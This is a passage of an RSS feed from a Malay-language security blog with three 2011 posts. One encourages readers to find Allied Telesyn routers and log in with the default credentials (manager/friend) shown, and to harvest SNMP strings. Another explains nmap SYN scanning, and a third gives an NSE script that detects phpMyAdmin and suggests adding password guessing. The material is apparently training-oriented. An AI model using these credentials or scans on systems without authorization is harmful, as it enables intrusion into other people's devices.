		<description><![CDATA[Salam semua, siapa pernah guna atau dengar router ni (Allied Telesyn Router/Switch)? Korang leh la try buat discovery kat tempat korang, nengok ada ke tidak router ni. Kalau ada, maybe router tersebut dipasang dengan default configurations, which means.. w00t! hehehe. Pada default configuration, router ni enable telnet(port 23) dan http(port 80) servis untuk tujuan management. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=40&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Salam semua, siapa pernah guna atau dengar router ni (<strong>Allied Telesyn Router/Switch</strong>)? Korang leh la try buat discovery kat tempat korang, nengok ada ke tidak router ni. Kalau ada, maybe router tersebut dipasang dengan default configurations, which means.. w00t! hehehe.</p>
<p>Pada default configuration, router ni enable <strong>telnet</strong>(port 23) dan <strong>http</strong>(port 80) servis untuk tujuan management. Untuk akses pada router ni aku gunakan default username dan password bagi router ni,  iaitu :</p>
<blockquote><p><strong>user : manager</strong><br />
<strong> pass : friend</strong></p></blockquote>
<p>Kalau router ni masih dalam keadaan default config, senang citer tak ubah password dan username dia la kan, kita leh akses router dengan credentials kat atas tu <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="attachment_41" class="wp-caption aligncenter" style="width: 443px"><a href="http://gh1mau.files.wordpress.com/2011/12/at_router_tel_wm.png"><img class=" wp-image-41 " title="at_router_tel_wm" src="http://gh1mau.files.wordpress.com/2011/12/at_router_tel_wm.png?w=433&#038;h=322" alt="" width="433" height="322" /></a><p class="wp-caption-text">Akses console router dengan telnet. Macam-macam boleh buat <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p></div>
<div id="attachment_42" class="wp-caption aligncenter" style="width: 496px"><a href="http://gh1mau.files.wordpress.com/2011/12/at_router_config_wm.png"><img class=" wp-image-42   " title="at_router_config_wm" src="http://gh1mau.files.wordpress.com/2011/12/at_router_config_wm.png?w=486&#038;h=466" alt="" width="486" height="466" /></a><p class="wp-caption-text">Akses web interface untuk router ni. Kita boleh nengok configuration file. Pada bahagaian ni yang menarik adalah snmp string. Biasanya string yang sama digunakan untuk tujuan deployment oleh vendor yang sama atau di environment yang sama <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p></div>
<p>Happy h4ckin dari pokcik gh1mau <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gh1mau.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gh1mau.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gh1mau.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gh1mau.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gh1mau.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gh1mau.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gh1mau.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gh1mau.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gh1mau.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gh1mau.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gh1mau.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gh1mau.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gh1mau.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gh1mau.wordpress.com/40/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=40&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gh1mau.wordpress.com/2011/12/23/at-ar750s-router-default-pass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e216d98ee90a78e4856e007e6cf3deac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gh1mau</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/at_router_tel_wm.png" medium="image">
			<media:title type="html">at_router_tel_wm</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/at_router_config_wm.png" medium="image">
			<media:title type="html">at_router_config_wm</media:title>
		</media:content>
	</item>
		<item>
		<title>NMAP Port Scanning (SYN Scan)</title>
		<link>http://gh1mau.wordpress.com/2011/12/22/nmap-port-scanning-syn-scan/</link>
		<comments>http://gh1mau.wordpress.com/2011/12/22/nmap-port-scanning-syn-scan/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 13:33:15 +0000</pubDate>
		<dc:creator>gh1mau</dc:creator>
				<category><![CDATA[security tutorials]]></category>

		<guid isPermaLink="false">http://gh1mau.wordpress.com/?p=26</guid>
		<description><![CDATA[Alhamdulillah.. dah settle dah sesi perkongsian ilmu Penetration Testing for CERT Agencies.. Pergh.. letih kaki pakcik, berdiri lama.. heheheRemarks aku untuk para peserta satu jer.. &#8220;TERBAIK&#8221; .. hehehe.. Ingat tagline kita yer Sharing is Caring :p Ok, entri kali ni, aku nak citer skit pasal SYN Scan : TCP SYN Scan Teknik ni biasanya disebut [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=26&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Alhamdulillah.. dah settle dah sesi perkongsian ilmu Penetration Testing for CERT Agencies.. Pergh.. letih kaki pakcik, berdiri lama.. heheheRemarks aku untuk para peserta satu jer.. &#8220;<strong>TERBAIK</strong>&#8221; .. hehehe.. Ingat tagline kita yer <strong>Sharing is Caring :p<br />
</strong></p>
<p>Ok, entri kali ni, aku nak citer skit pasal SYN Scan :</p>
<p><strong>TCP SYN Scan</strong></p>
<p>Teknik ni biasanya disebut juga sebagai half open scanning, sebab kita tak melakukan connection TCP yang penuh. So kat sini kita manipulate connection TCP dengan tujuan asalnya nak evade dari IDS supaya aktiviti scanning kita tak dikesan. Tapi realitinya sekarang ni, hampir kesemua IDS dah boleh kesan dan alert terhadap teknik scanning ni <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ok, secara teknikalnya, TCP SYN scan ni bekerja macam ni : Attacker akan hantar packet<strong> SYN</strong> kepada mangsa, lepas tu mangsa pulak akan reply dengan packet <strong>SYN|ACK</strong>, dari sini attacker dah tahu yang port tersebut buka. So bila attacker dah dapat maklumat, attacker terus hantar <strong>RST</strong> packet untuk putuskan connection dengan mangsa.</p>
<div id="attachment_27" class="wp-caption aligncenter" style="width: 365px"><a href="http://gh1mau.files.wordpress.com/2011/12/syn_scan_wm.png"><img class="size-full wp-image-27 " title="syn_scan_wm" src="http://gh1mau.files.wordpress.com/2011/12/syn_scan_wm.png?w=614" alt=""   /></a><p class="wp-caption-text">Teknik TCP SYN Scan</p></div>
<p>Dalam nmap command yang kita gunakan simple jer untuk SYN Scan ni :</p>
<blockquote>
<pre>nmap -sS ip_target</pre>
</blockquote>
<p><strong><br />
</strong>Cuba kite nengok wireshark capture yang aku buat masa proses nmap syn scan ni.<strong><br />
</strong></p>
<div id="attachment_30" class="wp-caption aligncenter" style="width: 440px"><a href="http://gh1mau.files.wordpress.com/2011/12/syn_wireshark2.png"><img class=" wp-image-30 " title="syn_wireshark" src="http://gh1mau.files.wordpress.com/2011/12/syn_wireshark2.png?w=430&#038;h=310" alt="" width="430" height="310" /></a><p class="wp-caption-text">Capture menunjukkan attacker menghantar packet SYN kepada target.</p></div>
<div id="attachment_31" class="wp-caption aligncenter" style="width: 440px"><a href="http://gh1mau.files.wordpress.com/2011/12/syn_ack_wireshark.png"><img class=" wp-image-31 " title="syn_ack_wireshark" src="http://gh1mau.files.wordpress.com/2011/12/syn_ack_wireshark.png?w=430&#038;h=310" alt="" width="430" height="310" /></a><p class="wp-caption-text">Capture menunjukkan target reply balik dengan packet SYN|ACK kepada attacker</p></div>
<div id="attachment_32" class="wp-caption aligncenter" style="width: 440px"><a href="http://gh1mau.files.wordpress.com/2011/12/rst_wireshark.png"><img class=" wp-image-32 " title="rst_wireshark" src="http://gh1mau.files.wordpress.com/2011/12/rst_wireshark.png?w=430&#038;h=310" alt="" width="430" height="310" /></a><p class="wp-caption-text">Capture menunjukkan attacker menghantar packet RST kepada target</p></div>
<p>Amacam, paham tak? Huhuhu.. kita sewajarnya kena paham betul-betul konsep bagi teknik-teknik &#8216;hacking&#8217; yang kita gunakan. So kita tak lah semata-mata gunakan tools secara buta tuli tanpa tahu apa sebenarnya yang berlaku. Setuju tak? <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ha.. dan lagi satu, kat bawah ni filter yang aku gunakan dalam wireshark untuk cari spesific packet dalam capture kat atas tu.</p>
<p>Happy Hackin dari pokcik gh1mau <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<blockquote>
<pre><strong>tcp.flags.syn</strong> (ni untuk packet dengan flag SYN)
<strong>tcp.flags&amp;18</strong> (ni untuk flag SYN(16) dan ACK(2))
<strong>tcp.flags.reset</strong> (ni untuk packet dengan flag RST)</pre>
</blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gh1mau.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gh1mau.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gh1mau.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gh1mau.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gh1mau.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gh1mau.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gh1mau.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gh1mau.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gh1mau.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gh1mau.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gh1mau.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gh1mau.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gh1mau.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gh1mau.wordpress.com/26/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=26&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gh1mau.wordpress.com/2011/12/22/nmap-port-scanning-syn-scan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e216d98ee90a78e4856e007e6cf3deac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gh1mau</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/syn_scan_wm.png" medium="image">
			<media:title type="html">syn_scan_wm</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/syn_wireshark2.png" medium="image">
			<media:title type="html">syn_wireshark</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/syn_ack_wireshark.png" medium="image">
			<media:title type="html">syn_ack_wireshark</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/rst_wireshark.png" medium="image">
			<media:title type="html">rst_wireshark</media:title>
		</media:content>
	</item>
		<item>
		<title>Entri Sulung</title>
		<link>http://gh1mau.wordpress.com/2011/12/18/blog-baru-den/</link>
		<comments>http://gh1mau.wordpress.com/2011/12/18/blog-baru-den/#comments</comments>
		<pubDate>Sun, 18 Dec 2011 10:06:18 +0000</pubDate>
		<dc:creator>gh1mau</dc:creator>
				<category><![CDATA[security tutorials]]></category>

		<guid isPermaLink="false">http://gh1mau.wordpress.com/?p=6</guid>
		<description><![CDATA[Assalamualaikum kepada pengunjung blog aku (gh1mau.wordpress.com). Asalnya blog aku beralamat ghimau.blogspot.com tapi aku dah malas nak maintain blog tu, so aku buat la blog baru ni Insya Allah aku akan cuba update sekerap yang termampu kat blog ni. Macam biasalah, main content dalam blog ni would be on Computer Security. Insya Allah esok, aku akan [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=6&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Assalamualaikum kepada pengunjung blog aku (<strong>gh1mau.wordpress.com</strong>). Asalnya blog aku beralamat <strong>ghimau.blogspot.com</strong> tapi aku dah malas nak maintain blog tu, so aku buat la blog baru ni <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Insya Allah aku akan cuba update sekerap yang termampu kat blog ni. Macam biasalah, main content dalam blog ni would be on Computer Security.</p>
<p>Insya Allah esok, aku akan handle (Jadi tenaga pengajar) untuk satu kursus security di Cyberjaya. Kepada siapa yang berminat untuk buat custom training, atau dapatkan maklumat kursus berkaitan dengan <strong>ICT Security</strong>, <strong>System Developtment</strong>, <strong>ICT Forensics</strong>, <strong>Networking</strong> boleh lah contact aku yer <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="wp-caption aligncenter" style="width: 310px"><a href="http://gh1mau.wordpress.com/wp-admin/Syllabus Kursus Penetration Testing for CERT Agencies"><img src="http://gh1mau.files.wordpress.com/2011/12/kursus1.png?w=300&#038;h=272" alt="" width="300" height="272" /></a><p class="wp-caption-text">Syllabus bagi Kursus Pentration testing for CERT Agencies</p></div>
<p style="text-align:center;">
<p>Di bawah merupakan satu skrip nmap (nse) yang digunakan untuk detect sekiranya ada folder phpmyadmin. Dalam kursus ni aku akan kongsi cara asas membuat nmap script.</p>
<p><pre class="brush: perl;">
 description = [[
Skrip asas untuk mengesan aplikasi phpmyadmin
]]

author = &quot;Hussein bin Mohamed a.k.a ghimau&quot;
license = &quot;Same as nmap -- see http://nmap.org/book/man-legal.htm&quot;
categories = {&quot;default&quot;, &quot;discovery&quot;, &quot;safe&quot;}

require &quot;shortport&quot;
require &quot;http&quot;

portrule = shortport.port_or_service({80, 443}, {&quot;http&quot;, &quot;https&quot;})

action = function(host, port)
local stat = http.generic_request(host, port, &quot;GET&quot;, '/phpmyadmin/')

-- semak sekiranya status http code = 200
  if stat.status == 200 then
     return &quot;w00t! Phpmyadmin ditemui! :-)&quot;
  else
     return &quot;d4mn! Tiada phpmyadmin! :-(&quot;
  end
end
 </pre></p>
<p>Struktur asas nmap nse(nmap scripting engine) adalah seperti dalam rajah dibawah. (nse menggunakan bahasa programming yang di panggil &#8220;lua&#8221;)</p>
<div id="attachment_23" class="wp-caption aligncenter" style="width: 401px"><a href="http://gh1mau.files.wordpress.com/2011/12/scripting.png"><img class="wp-image-23 " src="http://gh1mau.files.wordpress.com/2011/12/scripting.png?w=391&#038;h=281" alt="" width="391" height="281" /></a><p class="wp-caption-text">Struktur atau architechture bagi nmap script (nse)</p></div>
<p style="text-align:center;">
<p>Script ni boleh di extend :</p>
<ul>
<li>tambah array/filelist untuk senarai folder phpmyadmin</li>
<li>tambah function untuk basic password guessing</li>
</ul>
<p>Nantikan update terbaru blog aku ni, insya Allah, aku akan kongsi teknik nmap scanning.</p>
<p>Happy h4cking dari pokcik gh1mau <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gh1mau.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gh1mau.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gh1mau.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gh1mau.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gh1mau.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gh1mau.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gh1mau.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gh1mau.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gh1mau.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gh1mau.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gh1mau.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gh1mau.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gh1mau.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gh1mau.wordpress.com/6/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gh1mau.wordpress.com&amp;blog=23080212&amp;post=6&amp;subd=gh1mau&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gh1mau.wordpress.com/2011/12/18/blog-baru-den/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e216d98ee90a78e4856e007e6cf3deac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gh1mau</media:title>
		</media:content>

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/kursus1.png?w=300" medium="image" />

		<media:content url="http://gh1mau.files.wordpress.com/2011/12/scripting.png" medium="image" />
	</item>
	</channel>
</rss>
